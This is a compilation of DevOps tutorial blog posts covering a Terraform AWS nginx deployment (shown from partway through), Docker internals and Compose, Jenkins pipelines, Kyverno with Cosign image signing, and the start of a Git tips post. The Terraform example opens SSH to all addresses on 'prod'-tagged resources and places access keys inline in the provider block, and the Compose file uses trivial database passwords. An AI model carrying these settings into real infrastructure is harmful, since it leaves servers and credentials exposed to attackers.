  2. expand the list **Access keys (access key ID and secret access key)** 
![02.png](/img/blog/deploy-a-simple-server-using-aws-terraform/YXYd5Ngm3.png align="left")
  3. **Store the keys**  ![03.png](/img/blog/deploy-a-simple-server-using-aws-terraform/avb_Z7igl.png align="left")
2. Installation of Terraform CLI
  [Download Link](https://www.terraform.io/downloads)

![04.png](/img/blog/deploy-a-simple-server-using-aws-terraform/hVJ2mLetO.png align="left")

# Let's Learn by Doing
Let us get right into it

## Resources to create a web server
1. **EC2** - virtual machine on AWS
2. **VPC** - Virtual Private Cloud is the isolation of the cloud for your resources to run. This is a logical way of separating of network
3. **Internet Gateway** - to allow network traffic to reach inside vpc
4. **Subnet** - It creates Network inside VPC, thus reducing the network hopping
5. **RouteTable** - It stores the destination address where network traffic from your subnet or gateway is to be directed.
6. **Associate the RouteTable and Subnet** - connect both of them
7. **Security Group** - to Allow which port and from what Client IP address it came
8. **Network Interface** - It allows communications between computers connected to the Subnet
9. **Elastic IP** - it's a service by AWS which provides the dynamic IP during creation.


![image.png](/img/blog/deploy-a-simple-server-using-aws-terraform/JjVCuF6YI.png align="left")


## Let's write the configuration files

### terraform.tfvars

```terraform
client-ip-access = {
  ssh = "0.0.0.0/0"
  https = "0.0.0.0/0"
}
```

### main. tf

```terraform
provider "aws" {
  region  = "us-east-1"
  access_key = "<provider access key>"
  secret_key = "<provider secret key>"
}


# vpc
resource "aws_vpc" "prod-vpc" {
  cidr_block = "10.0.0.0/16"
  tags = {
    Name = "prod-vpc"
  }
}

variable "client-ip-access" {
  description = "ip address for the client to access the host"
  type = map(string)
}

# internet gateway
resource "aws_internet_gateway" "gw" {
  vpc_id = aws_vpc.prod-vpc.id

  tags = {
    Name = "prod-gateway"
  }
}

# route table
resource "aws_route_table" "prod-rt" {
  vpc_id = aws_vpc.prod-vpc.id

  route {
    cidr_block = "0.0.0.0/0" # any ip can access
    gateway_id = aws_internet_gateway.gw.id
  }

  route {
    ipv6_cidr_block        = "::/0"
    gateway_id = aws_internet_gateway.gw.id
  }

  tags = {
    Name = "prod-rt"
  }
}

# subnets
resource "aws_subnet" "prod-subnet" {
  vpc_id     = aws_vpc.prod-vpc.id
  cidr_block = "10.0.1.0/24"
  availability_zone = "us-east-1a"

  tags = {
    Name = "prod-subnet"
  }
}

# join subnets and route table by association
resource "aws_route_table_association" "a" {
  subnet_id      = aws_subnet.prod-subnet.id
  route_table_id = aws_route_table.prod-rt.id
}

# security
resource "aws_security_group" "allow_http" {
  name        = "allow-web-traffic"
  description = "Network traffic allowed"
  vpc_id      = aws_vpc.prod-vpc.id

  ingress {
    description      = "HTTPS"
    from_port        = 443
    to_port          = 443
    protocol         = "tcp"
    cidr_blocks      = ["0.0.0.0/0"] # so as to make anyone to reach the server
    # cidr_blocks      = [var.client-ip-access.https]
  }

  ingress {
    description      = "HTTP"
    from_port        = 80
    to_port          = 80
    protocol         = "tcp"
    cidr_blocks      = ["0.0.0.0/0"] # so as to make anyone to reach the server
  }

  ingress {
    description      = "SSH"
    from_port        = 22
    to_port          = 22
    protocol         = "tcp"
    cidr_blocks      = ["0.0.0.0/0"] # so as to make anyone to reach the server
    # cidr_blocks      = [var.client-ip-access.ssh]
  }

  egress {
    from_port        = 0
    to_port          = 0
    protocol         = "-1"
    cidr_blocks      = ["0.0.0.0/0"]
  }

  tags = {
    Name = "prod-security"
  }
}

# elastic ip
# It's recommended to denote that the AWS Instance or Elastic IP depends on the Internet Gateway. For example:
resource "aws_eip" "bar" {
  vpc = true

  associate_with_private_ip = "10.0.1.50"
  network_interface = aws_network_interface.prod-nic.id
  depends_on                = [aws_internet_gateway.gw]

  tags = {
    "Name" = "prod-eip"
  }
}

# network interface
resource "aws_network_interface" "prod-nic" {
  subnet_id       = aws_subnet.prod-subnet.id
  private_ips     = ["10.0.1.50"]
  security_groups = [aws_security_group.allow_http.id]

  tags = {
    "Name" = "prod-nic"
  }
}

# ec2
resource "aws_instance" "prod-ec2" {
  ami           = "ami-04505e74c0741db8d" 
  instance_type = "t2.micro"
  availability_zone = "us-east-1a"

  network_interface {
    network_interface_id = aws_network_interface.prod-nic.id
    device_index         = 0
  }

  tags = {
    "Name" = "prod-ec2"
  }

  key_name = "terraform-access-ec2"

  user_data = <<-EOF
    #!/bin/bash
    sudo apt update -y
    sudo apt install nginx -y
    sudo systemctl start nginx
    EOF
}

output "server_public_ip" {
  value = aws_eip.bar.public_ip
}
```

# Lets Deploy


![out1.png](/img/blog/deploy-a-simple-server-using-aws-terraform/fPHP6aXqe.png align="left")
```bash
terraform init
```


![out2.png](/img/blog/deploy-a-simple-server-using-aws-terraform/EJ0iHoqr2.png align="left")
```bash
terraform apply
```


![ot3.png](/img/blog/deploy-a-simple-server-using-aws-terraform/XqveQnG20.png align="left")


![oo2.png](/img/blog/deploy-a-simple-server-using-aws-terraform/7I2Uq5DLS.png align="left")


![ss.png](/img/blog/deploy-a-simple-server-using-aws-terraform/Luh3VKJlv.png align="left")

# References
* [Terraform Blog](https://kubesimplify.com/introduction-to-terraform)
* [Terrafrom in 2 hours (freecodecamp)](https://youtu.be/SLB_c_ayRMo)

# Further read
[Blog on Terraform-tfvars](https://spacelift.io/blog/terraform-tfvars)

Hope it helps
Happy coding👍🏼🥳

---

# Breaking Down Docker

- Canonical: https://blog.kubesimplify.com/breaking-down-docker
- Published: 2022-05-09
- Summary: Docker is the idea behind the container revolution, but how the idea came into play what are the underlying structure used to built up containers.

Docker is the idea behind the container revolution, but how the idea came into play what are the underlying structure used to built up containers. We are going to the ins and out of the Docker internals in this article. Starting from virtual machines, we will be building our own Docker image and will run the application using Docker compose.

If you are not familiar with any of the mentioned jargons, don't worry, I got your back. By the end of this article, you will get an idea of it or at least some idea so your curiouslty may guide you.  I request you not to just read, follow along with the hands-on, so you may get a better understanding of the topics. Let's get started.

### Virtual Machines
As the name suggest, A virtual machine lets you run multiple operating system on your local machine on the top of hypervisor. Let’s first understand what a Hypervisor is.


![Untitled-2022-04-26-1131.png](/img/blog/breaking-down-docker/jb5B5Stnt.png)

Imagine you have a computer and an operating system, what is the job of operating system? Its job is to create a layer between the hardware and software, same goes with hypervisor in case of virtual machine. 

A hypervisor creates a layer between an existing operating system and an environment to run virtual machines. Examples of hypervisors are VmWare and Hyper-V. 

In a nutshell Virtual machine virtualises your physical hardware and breaks down your physical machine hardware into slices of hardware. You can run any operating system of your choice in it.  Let’s dig deep into containers.

### Containers


![pexels-chanaka-906494.jpg](/img/blog/breaking-down-docker/61hmbGlLl.jpg)
Containers are lightweight virtual VM, that virtualizes the operating system. A container creates an isolated environment/sandbox (Just like the above image, think of each container as an isolated environment that docker provides) for your operating system, so you can run multiple operating systems isolated with each other. It is like working on virtual machines without the need of it and some added advantage.




Containers consume less space and starts instantly. They are ephemeral in nature, meaning when they die data inside the container are not accessible. One of the examples of container platform is Docker.



![Untitled-2022-04-26-1131 (2).png](/img/blog/breaking-down-docker/JsNPGUjhl.png)


Docker is a company that provides the containerization facility. Docker was the Pioneer of the container revolution. Earlier containerization of application was synonymous with Docker, now with the advent of similar platforms it's not the case anymore.
Let’s talk more about Docker and what problem it solves.


## What problem does Docker solve?

For an instance imagine Bob, a developer, needs to develop a full stack end to end application using web server (HTTPD), Database(Postgres), messaging(Redis) and orchestration(Ansible). To make sure everything works fine, Bob need to check the compatibility of these tools with the underlying Operating System also with the dependencies and libraries. Sometimes it happens that one service need one version of the library while the other service need some another version of library, so the libraries need to upgraded and the compatibility of the tools need to be checked again and again. 

The problem is not that simple as it sounds. It takes a lot of time to setup the development environment, this leads to developer unproductivity and repetition of tasks.

After a while, a new member Chris joined Bob's team, Bob need to ship the application, so Chris can test the app.  Chris has to go through the same painful process like Bob did to develop the proper environment. Bob shipped the application, but the app didn't run on the Chris's machine. Bob said, "But it works fine on my machine". 

You see, there were a lot of problems in developing an environment and shipping the same application to a different environment. This is not the problem Bob and Chris faces, it is faced by almost every team before the advent of docker. 

Docker tries to solve the problem by containerizing and shipping the whole application with all the package, dependencies, libraries included. This way you don't need to worry about anything, just fetch the application using docker container image, and you are good to go. It is almost guaranteed that if an app is running on one machine when Dockerised and shipped will run on any machine.

In the above case, with Docker, Bob can create a container by fetching the prebuilt image of HTTPD, Postgres, Redis and Ansible. That's it! the development environment is created. In case, Bob want to ship the application to Chris, he just needs to Dockerize the whole application and ship it to Chris. The application will be shipped with all the binaries and dependencies included.

## Building Block of Docker

Docker underlying principle is originated from Linux Kernel. Containers are nothing but isolated Linux processes with all the necessities included to run the process in isolation. It is a combination of Kernel namespace, Cgroups and union filesystem. Let’s understand each of them:

#### Kernel Namespace

Kernel namespace is a feature by which one set of processes see one set of resources and another set of resources see another/different set of resources. Kernel namespace allows these services to be created in isolation:
- Process trees (PID Namespace)
- Mounts (MNT namespace)
- Network (Network namespace)
- Users / UIDs (User Namespace)
- Hostnames (UTS Namespace)
- Inter Process Communication (IPC Namespace)

#### Cgroups

Cgroups accounts for the resources used by processes. It allocates, limits, isolates the resource usage like CPU, Memory, Network etc. 

#### Union File System

Docker uses the Union file system for building containers to create layers, making them fast and lightweight.

## Docker Images

Docker images are predefined template with instructions of packed application, including its dependencies of what processes will run when launched. There are thousands of images in the [dockerhub](https://hub.docker.com/) publicly available. You can fetch and run containers with just few clicks. 


| ![Screenshot from 2022-04-18 11-03-36.png](/img/blog/breaking-down-docker/snK2PX8QT.png) |
|:--:|
| <b>Image Credits - docs.docker.com </b>|

We interact with Docker daemon via Docker CLI. We send a request to built, pull or run the image. If its locally available Docker Daemon will build a container out of it, if not it will look into its online registry(Dockerhub), fetch it. We will learn about the details of the internals in the next section of this blog.

Let's try fetching image and running a container using [Katacoda playground](https://www.katacoda.com/courses/ubuntu/playground). You can also run the experiment on your local machine if you have Docker installed.

Go on the terminal and type
```
docker pull nginx
```
This will pull nginx image from Dockerhub

When the image is pulled, type the below command to run the image

```
docker run nginx
```
Open up a new terminal window and type 
```
docker ps
```
This will show up the running processes, In our case, you will see a nginx process running.

Now you can stop the container by typing
```
docker stop container-ID
```
Yaaaaaaay, we fetched an image from docker hub and created a container. Now let’s learn how these things happen internally.

## How Docker works internally?




![Untitled-2022-04-10-1123.png](/img/blog/breaking-down-docker/EP3z1C9zi.png)

We interact with Docker via Docker CLI. Docker CLI has a bunch of command to interact with Docker Daemon.

Docker Daemon is referred to as the brain of Docker. It performs the command that the client issues like managing images, network, containers and volumes.

Containerd is the high level container runtime, that manages network's namespace. It helps in building the images.

Shim is responsible for all the interaction logic we give to the containers, also it redirects stdin, stdout, stderr to logs.  Shim will be present till the state of the container is active, and reports its state to containerd. It detaches the container lifecycle with containerd, in case if you want to update the containerd version it will not affect the running containers.

Before understanding Runc let’s understand OCI (open container initiative). An OCI initiative is a governance structure and a collaborative project by different companies with a goal to establish common and open standards for containers.

Runc is a low level container runtime and is OCI compatible, meaning it will run containers that are OCI compliant. It starts up the container process and then exit.


When we post a request to fetch images, mostly it fetches from [DockerHub](https://hub.docker.com/). Dockerhub is the repository by Docker team for finding, uploading and downloading container images.

There are already some prebuilt image by Docker community and by individual community members, you can also build and push your own Docker image to Dockerhub.

## Let's Built an image with Dockerfile

Dockerfile is the list of instructions listed in a file to assemble and create a Docker image. Lets built a Dockerfile. In the Dockerfile, we will be installing Python on the top of Ubuntu image.

Head over to [Katacoda](https://www.katacoda.com/courses/ubuntu/playground)
On the terminal, type the below command to make a directory
```
mkdir docker
```
Head over to the directory by typing
```
cd docker
```
Open up nano editor and create dockerfile
```
nano Dockerfile
```
Paste the following code
```
FROM ubuntu:16.04
RUN apt-get update
RUN apt-get install -y python3
LABEL maintainer="Your name "
```
Save it by pressing ctrl+s

Exit using ctrl+x

Build the image by typing

```
docker build .
```
Type the below command to check docker images
```
docker image ls
```
Copy the image-id of the most recent created image and type
```
docker inspect image-id
```
See the content and head over to the maintainer section, your name will be there.
Yeaaaaaaah, we have built up a docker image using docker file.

## Docker Volume

As we talked earlier, Docker containers are ephemeral, meaning data is not persistent. When the container die, the data can't be accessed. 

To solve this problem, we need to make the data persistent and mount it, so it can be accessible anytime. This way, we don't need to rebuild our docker image whenever we do changes in our container.

Docker Volumes is a folder which exist outside the container but in the host machine and can be accessible by container. There are three categories of Docker Volume, let's explore each of them:

**Volumes**

Volumes are Docker way of assigning the data in the host machine. It will create a path, assign and manage the data itself. With this method, we can't edit the file from outside the container. To use the volume type, the below command
```
docker run -v volume-name:path-in-container IMAGE_ID
```
You can use any name and the path of the container you want to link.

**Bind Mounts**

Bind mount is the same except the fact that you determine the location of the host machine where you want to store the data. Using this method, we can also edit the files from outside the container. To use Bind Mount type:
```
docker run -v our-machine-path:path-in-container IMAGE_ID
```
**Tmps Mount**

These mounts are stored in the system memory and are temporary. As soon as the container die, the data within it will be wiped out. This type of mount is used by the container during the lifecycle to store not so critical data.

If you have a lot of Data i.e. containers, images, caches which is of no use, type this command and free up some space

```
docker system prune
```

## Docker Compose

Remember, we built a Dockerfile earlier in this blog. Dockerfile is used to built up a container by assembling layers of image into a file. What if we want to create multiple container, the usual solution would be to create Dockerfile for each of them and when needed, all of them should be started one by one.

Guess what! We have a better solution. We can run multiple containers as a single service using Docker compose. Let's understand it with an example. To perform the example you need to have Docker in your local machine, you can install it from [here](https://docs.docker.com/get-docker/).

We will be using WordPress in an isolated environment and a MySQL database connected to it with mount volume. In case, if we shut down the container, it will start back again with data in place.
Create a new directory and head over to it.
```
mkdir wordpress
cd wordpress
```

create a docker compose file by using
```
nano docker-compose.yaml
```
paste the following code into it
```
version: "3.3"
    
services:
  db:
    image: mysql:5.7
    volumes:
      - db_data:/var/lib/mysql
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: somewordpress
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress
    
  wordpress:
    depends_on:
      - db
    image: wordpress:latest
    volumes:
      - wordpress_data:/var/www/html
    ports:
      - "8000:80"
    restart: always
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
volumes:
  db_data: {}
  wordpress_data: {}
```
Save and exit the file.

Now, run the docker compose command

```
docker-compose up -d
``` 
Wait for a while and paste the below link on your web browser
```
http://localhost:8000
```

You will be able to see WordPress welcome screen on your system. You can enter your details if you want.

To remove the container type
```
docker-compose down
```
You can run the container again using docker-compose up command and the application will start with the data you have entered.

We've seen with just a single file, we built an isolated container having WordPress connected with MySQL database. Docker compose provides the ease to run multiple containers with just a single command.

That's a bit about Docker. We learned how to fetch and run an image, create a Dockerfile, running multiple container via Docker compose. If you are curious to learn more about Docker, [Docker documentation](https://docs.docker.com/) is a good source to follow.

---

# Introduction of Jenkins pipeline

- Canonical: https://blog.kubesimplify.com/introduction-of-jenkins-pipeline
- Published: 2022-05-06
- Summary: Jenkins Pipeline is a suite of plugins which supports implementing and integrating continuous delivery pipelines into Jenkins.

Continuous Integration is the most important part of DevOps that is used to integrate various DevOps stages. Jenkins is the most famous Continuous Integration tool. Have you ever wondered why Jenkins has gained so much popularity, especially over the recent years? One of the major factors that contribute to its popularity is the Jenkins pipeline. Moreover, we have already understood [what is Jenkins?](https://kubesimplify.com/introduction-to-jenkins#heading-what-is-jenkins) And how we may use it in our previous articles. 


 > Now we will go a step ahead and understand what Jenkins pipeline is? Subsequently, we will dive through its concepts and learn to about a Jenkins Pipeline in this article.

## What is Jenkins pipeline?
The Jenkins pipeline in CI/CD automates many tasks and makes the CI/CD pipeline tasks reliable, efficient, repeatable, and high in quality. It defines a complete list of events that happen in the code lifecycle. Starting from the build, to testing and deployment. 



![Flow Chart](/img/blog/introduction-of-jenkins-pipeline/r1sD3Tg6I.png align="left")

Instead, you were creating and configuring jobs on the Jenkins users interface you would write a file or script that build, and it's configuration in a **Jenkinsfile**. So, Jenkinsfile is pipeline as a code it's a scripted pipeline. A Jenkinsfile  that stores the entire workflow as code, and it can be checked into a  Source Code Management (SCM) on your local system. 

## Some vocabulary related to pipeline

**Jenkinsfile** 

Jenkins Pipeline is defined using a text file called the Jenkinsfile. Additionally, the pipeline implements as code using Groovy Domain-specific language(DSL); it is stored into an SCM like GitHub for example and can be updated by many ways as using Jenkins master UI or directly from the SCM with a text editor. As it is centralized, it allows developers an easy to access it to edit update and check it.

**SCM**

Source code management, tracks changes of your code stored in a source code repository, example git or mercurial, it allows you to store a Jenkinsfile and your code on it and to update it from one single point.

## Why should you use Jenkins pipeline?


- Jenkins Pipelines supports big projects. You can run multiple jobs and even use pipelines in a loop.
- Pipelines are robust. So if your server undergoes an unforeseen restart, the pipeline will be automatically resumed.
- Whenever the new code is committed to git, a pipeline can automatically integrate that code and start building pipelines again itself.
- The Jenkins pipeline can be stopped for the inputs from the user.
- It supports larger projects that may involve a high CPU job, provided the Jenkins infrastructure is scalable enough to support it.

## Pipeline structure components

- Pipeline is structured in sections, called **stages**
- Each **stage** includes **steps**
- **steps** include the actual tests/commands to run
- An **agent** defines where the programs and scripts execute


**Pipeline** 

This is a user-defined block that contains all the processes such as building, testing, deploying, etc. It is a collection of all the stages in a Jenkinsfile. All the stages and steps are defined within this block. It is the key block for a declarative pipeline syntax.

```
pipeline {
}
```

**Node**

A node is a machine which is part of the Jenkins environment and is capable of executing a Pipeline.


Also, a ```node``` block is a key part of Scripted Pipeline syntax. 

```
node {
}
```

**Agent** 

It instructs Jenkins to allocate an executor for the builds. It is defined as an
entire pipeline or a specific stage.

 It has the following parameters:

***Any:*** Runs pipeline/ stage on any available agent 

***None:*** applied at the root of the pipeline, it indicates that there is no global agent for the entire pipeline & each stage must specify its own agent

***Label:*** Executes the pipeline/stage on the labelled agent 

***Docker:*** Uses docker container as an execution environment for the pipeline or a specific stage
 ```
pipeline {
	agent {
		docker {
			image 'ubuntu'
		}
	}
}
```

**Stage**

A stage block defines a conceptually distinct subset of tasks performed through the entire pipeline (e.g. "Build", "Test", and "Deploy" stages), which is used by many plugins to visualize or present Jenkins Pipeline status or progress. 

```
pipeline{
	agent any
	stages {
		stage ('Build'){
			
		}
		stage ('test'){

		}
		stage ('Deploy'){

		}
	}
}
```

**Step** 

A single task. Fundamentally, a step tells Jenkins what to do at a particular point in time (or "step" in the process). For example, to execute the shell command make, use the sh step: sh "make". When a plugin extends the Pipeline DSL, that typically means the plugin has implemented a new step. <br>

```
pipeline{
	agent any
	stages {
		stage ('Build'){
			steps {
			echo 'building the code application...'
			}
		}
	}
}
```
---

## Two types of pipelines

- **Scripted pipeline: **Sequential execution, using Groovy expressions for flow control 
- **Declarative pipeline: **It uses a framework to control execution (pre-defined commands to ease pipeline creation) <br>

### Scripted pipeline
In the early days of the Jenkins Pipeline, there was only one way to define the pipeline, which we now call a Scripted pipeline

The Jenkins scripted pipeline uses domain-specific language (like Groovy) that simplifies numerous tasks while creating a pipeline. In a scripted pipeline, users can inject groovy code during declaring. One of the major advantages of scripted pipelines is that they are very flexible and expressive.

**Syntax of Jenkins Scripted Pipeline** <br>
The Jenkins Scripted Pipeline generally starts with one or more node blocks.
```
node {
     stage (' Build')
}

```

Although defining a Scripted Pipeline with the node is not a mandatory requirement, confining your pipeline inside a node block provides various advantages, like
- Queue the stage and run the stages as soon as the executor is free.
- Creates a workspace where work can be done

**Quick example using Scripted pipeline **

Here are the steps you need to take to setup a Jenkins Pipeline.

- First, log on to your Jenkins server and select “New Item” from the left panel:


![first.png](/img/blog/introduction-of-jenkins-pipeline/3yQ-Xi24j.png align="left")

- Next, enter a name for your pipeline and select “Pipeline” from the options. Click “Ok” to proceed to the next step:


![job2.png](/img/blog/introduction-of-jenkins-pipeline/Qz9VNc0h5.png align="left")

- Now, let's start working your Pipeline script
```
node {  (1)
    stage('Build') { (2)
        echo 'building the application...' (3)
    }
    stage('Test') { (4)
        echo 'testing the application...'  (5)
    }
    stage('Deploy') { (6)
        echo 'deploying the application...' (7)
    }
}
```
Code Explanation: <br>
(1) Execute this Pipeline or any of its stages, on any available agent. <br>
(2) Defines the "Build" stage. stage blocks are optional in Scripted Pipeline syntax. However, implementing stage blocks in a Scripted Pipeline provides clearer visualization of each `stage’s subset of tasks/steps in the Jenkins UI. <br>
(3) Perform some steps related to the "Build" stage. <br>
(4) Defines the "Test" stage. <br>
(5) Perform some steps related to the "Test" stage. <br>
(6) Defines the "Deploy" stage. <br>
(7) Perform some steps related to the "Deploy" stage. <br>



![code.png](/img/blog/introduction-of-jenkins-pipeline/HHn5Yiogr.png align="left")

*Save it!*

- Start Building the pipeline by clicking on the "Build Now"

Once the job is successful, you will get the below window.

![build2.png](/img/blog/introduction-of-jenkins-pipeline/ihRgsyjBd.png align="left")


Click on #1 to check the log execution on the pipeline

![log.png](/img/blog/introduction-of-jenkins-pipeline/y7MqsJ0Ro.png align="left")
From the above output, it is clear that the job ran successfully

Awesome, you have successfully understood and run your first Jenkins Scripted Pipeline.


### Declarative pipeline
The Declarative pipeline is a new feature that is added to create the pipeline. The workflow is written in a Jenkinsfile, which can be stored in a source code management system such as Git. Declarative pipelines role is to help developers create simple and quick continuous delivery pipelines using a set of pre-defined commands.

**Declarative pipeline syntax**

Note that the syntax of declarative pipeline is beginning by a **“pipeline”** block

```
pipeline {
    agent any 
    stages {
        stage('Build') { 
            steps {
                // 
            }
        }
        stage('Test') { 
            steps {
                // 
            }
        }
        stage('Deploy') { 
            steps {
                // 
            }
        }
    }
}
```
To create a declarative pipeline, you need to have a Jenkinsfile in place. Since I will be using the project from my Github account, I have already placed the Jenkinsfile in my project. <br>


![file.png](/img/blog/introduction-of-jenkins-pipeline/5Rd1gN9Le.png align="left")
GitHub repo link: https://github.com/rishavmehra/JenkinsPipeline

Here are the steps you need to take to setup the Jenkins Declarative pipeline

- First, log on to your Jenkins server and select “New Item” from the left panel:

![first.png](/img/blog/introduction-of-jenkins-pipeline/7oqUPEcgV.png align="left")

- Next, enter a name for your pipeline and select “Pipeline” from the options. Click “Ok” to proceed to the next step

![pipeline2.png](/img/blog/introduction-of-jenkins-pipeline/SuHEH10uP.png align="left")

- Go to the Pipeline tab, and from the Definition, the dropdown selects the 'Pipeline script from SCM'

![git.png](/img/blog/introduction-of-jenkins-pipeline/L8W_hqsO1.png align="left")

- You need to select Git from the SCM dropdown now.


![drop.png](/img/blog/introduction-of-jenkins-pipeline/D771FsEEY.png align="left")

- Now, you will get an option to input your Repository URL and credentials(if private).


![url.png](/img/blog/introduction-of-jenkins-pipeline/vJya768a0.png align="left")

- Next, you may set the branch. In the script path, you need to write the Jenkinsfile name that exists in your repository. Click Save, and your declarative pipeline is now ready to use.


![branch.png](/img/blog/introduction-of-jenkins-pipeline/LQ6X7h7UA.png align="left")


Now that you are all set with your pipelines, you can execute the same from your Jenkins UI. All you need to do is select your pipeline and click on 'Build Now' link on the left panel. <br>

Once you run the pipeline, you will see the results displayed on the stage view as shown below-

![result2.png](/img/blog/introduction-of-jenkins-pipeline/zNEPSm0ku.png align="left")

You can view the console output for the build as well, which would display the print statements and errors(if any) that will be helpful for your debugging.

![log2.png](/img/blog/introduction-of-jenkins-pipeline/nEGatgXm0.png align="left")

## Conclusion
Now we know the pipeline concept and the two types of pipeline that can be used , one requiring more scripting skills and the other with pre-defined commands to ease the conception. <br>
I hope you have got some basic idea of the Jenkins pipeline. Here's the link to their official page, so do check it out! [Jenkins](https://www.jenkins.io/) <br>

---
If you liked the blog, don't forget to like, share, and follow it for more such tech blogs. Also, feel free to connect with me on [Twitter](https://twitter.com/Rishavmehraa).

**THANKS FOR READING !!**

Join the awesome [**kubesimplify**](https://kubesimplify.com/) community for more such blogs!🤩

---

# Kyverno And Cosign

- Canonical: https://blog.kubesimplify.com/kyverno-and-cosign
- Published: 2022-05-05
- Summary: Kyverno is a Kubernetes native policy engine, and cosign is a tool used for signing container images.

In my previous [article,](https://kubesimplify.com/getting-started-with-kyverno) I have written about kyverno.
Continuing that, In this short article, I’m going to explore Kyverno and Cosign together. 
Kyverno is a Kubernetes native policy engine, and cosign is a tool used for signing container images. This article assumes that you know the basics of Kyverno and Cosign. 


This article is more hands on oriented, so I will encourage you to try this hands on. 

- What we are going to do in this blog 
    1. Creating a container image
    2. Pushing the image to container registry 
    3. Signing the Image with Cosign 
    4. Creating a ClusterPolicy that will enforce only signed images to be used while creating k8s resources. 
    5. Creating a pod with the same image that we had made above.  

- For the example purpose, I will be creating a very simple container image based on `nginx:alpine` image. 
- Create a new directory and name it anything you want.  
- First, let's create an index.html page that we will be using in the image.
 
```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Cosign and Kyverno</title>
</head>
<body>
    <h1> Having fun with Cosign and Kyverno </h1>
</body>
</html>
```
- Now let's create a Dockerfile in the same directory. 
```Dockerfile
FROM nginx:alpine
COPY index.html /usr/share/nginx/html
```
- Now we need to build the image. To build the image, execute the command 
```
podman build -t kranurag7/kyverno-cosign .
``` 
- I'm using Podman here. If you use any other tool like docker, then replace podman with docker. 

### Signing the image
- Now comes the part of signing the image. 
- To sign the image, we will use cosign. 
- Execute the command `cosign sign --key cosign.key kranurag7/kyverno-cosign` 
- If everything is correct, you should see this message. 


![Screenshot from 2022-04-26 14-48-20.png](/img/blog/kyverno-and-cosign/fda6PAvw1.png)

- After signing when you go to docker hub or your respective container registry then you will notice a tag pushed to the repo as soon as you sign the image. 

![kyverno-cosign.png](/img/blog/kyverno-and-cosign/oV3XeevUk.png)

- I'm not going into the details of cosign in this article. I will write another one for that. 


- If verifies that your image is signed now. 
- You can also verify your image from the terminal. 
```
cosign verify --key cosign.pub kranurag7/kyverno-cosign | jq
```
- You should see something like this. 

![Screenshot from 2022-04-26 14-55-14.png](/img/blog/kyverno-and-cosign/NRRMsSWr5.png)

- If you don't have `jq` installed then skip `jq` 

### Creating a Pod with the signed Image

- Now that we have our image ready, let's create a ClusterPolicy that will only allow the pods whose container images are signed with cosign. 
- To do that, we will go to https://kyverno.io/policies and copy-paste one policy named `verify_image`. You can find it [here](https://kyverno.io/policies/other/verify_image/)

```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image
  annotations:
    policies.kyverno.io/title: Verify Image
    policies.kyverno.io/category: Sample
    policies.kyverno.io/severity: medium
    policies.kyverno.io/subject: Pod
    policies.kyverno.io/minversion: 1.4.2
    policies.kyverno.io/description: >-
      Using the Cosign project, OCI images may be signed to ensure supply chain
      security is maintained. Those signatures can be verified before pulling into
      a cluster. This policy checks the signature of an image repo called
      ghcr.io/kyverno/test-verify-image to ensure it has been signed by verifying
      its signature against the provided public key. This policy serves as an illustration for
      how to configure a similar rule and will require replacing with your image(s) and keys.      
spec:
  validationFailureAction: enforce
  background: false
  rules:
    - name: verify-image
      match:
        any:
        - resources:
            kinds:
              - Pod
      verifyImages:
        - image: "*"
          key: |-
            -----BEGIN PUBLIC KEY-----
            MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEBgkz0hpHwOmEXaRaPPFMqhczFGRw
            wcQnj0jnRdsB0U6npFtHCJLIzALIYag9iHEz6RGArOvLa0eFLOkQKRvpg==
            -----END PUBLIC KEY-----        
```

- Now we will execute the command `kubectl apply -f verify_image.yaml` 
- After this, we will try running our signed image and one unsigned image as well.
- Let's first start with an image which is not signed by cosign. 
- For illustration purpose, we will run the nginx image 
```
kubectl run my-pod --image=nginx 
```
- You will notice that the object is not getting created, and it's throwing an error.
- The error will look something like this. 


![Screenshot from 2022-04-26 14-27-04.png](/img/blog/kyverno-and-cosign/H3Czl59-9.png)
    
- You can also check this in the policy reports. 
```
kubectl get polr 
```

![Screenshot from 2022-04-26 14-29-56.png](/img/blog/kyverno-and-cosign/7PuYgWmFV.png)

- It's showing that one policy is failing. 
- For looking at policies, I generally use policy-reporter. In the policy-reporter Dashboard, you will notice that one failing policy is there. For me, this is much simpler to visualize what's happening in the cluster.


![Screenshot from 2022-04-26 14-32-04.png](/img/blog/kyverno-and-cosign/oShNAZut7.png)

- You can see in the image above that one policy is failing and something is wrong. 
- Now let's deploy a pod with the image we have signed a few minutes back. 
- `kubectl run my-pod --image=kranurag7/kyverno-cosign`


![kyverno-cosign.gif](/img/blog/kyverno-and-cosign/MtJuEirKx.gif)

- Now let's try executing the command for the simple web page that we had created. 
```
kubectl exec -it my-pod -- curl localhost:80
```
- You should see some output like this

![Screenshot from 2022-04-26 15-21-24.png](/img/blog/kyverno-and-cosign/xXuG6IXH_.png)

- Now let's see this in browser 
```
kubectl port-forward my-pod 8081:80
```
- Go to your browser and type `localhost:8081`. You should see this in your browser. 
![Screenshot from 2022-04-26 15-25-12.png](/img/blog/kyverno-and-cosign/t0MGQI4Dk.png)

- That's all I have for this article. I hope you enjoyed reading and practicing it. Stay tuned for more.

---

# Get Good At Git 💎

- Canonical: https://blog.kubesimplify.com/get-good-at-git
- Published: 2022-05-04
- Summary: This blog covers advanced git techniques and shortcuts. It breaks down advanced Git commands that everyone should know.

One of the best pieces of advice, one would ever get is "Get good at Git". Git was created by Linus Torvalds, a guy much smarter than us. He knew if he made it too easy, it would make us weak. Instead, he wanted to give us a glory of overcoming the challenge.


![git man-weight-lifting.png](/img/blog/get-good-at-git/G3iYXzyFX.png)

Could you be using Git more efficiently? The answer is, probably, a YES.

In this blog, we will look at a bunch of different tips and tricks to make you more productive with Git 📝

## Combine ADD and COMMIT

To save a snapshot of your code, you use "add" followed by a commit message.
```
git add .
git commit -m "New line added"
```
But, there's an actually a better way to get the job done.

You can go straight to commit by using the `-am` flag.
```
git commit -am "An easy way!"
```
This will automatically add all the files in the current working directory.

## Aliases 😇

There's actually a more concise way to get the job done.

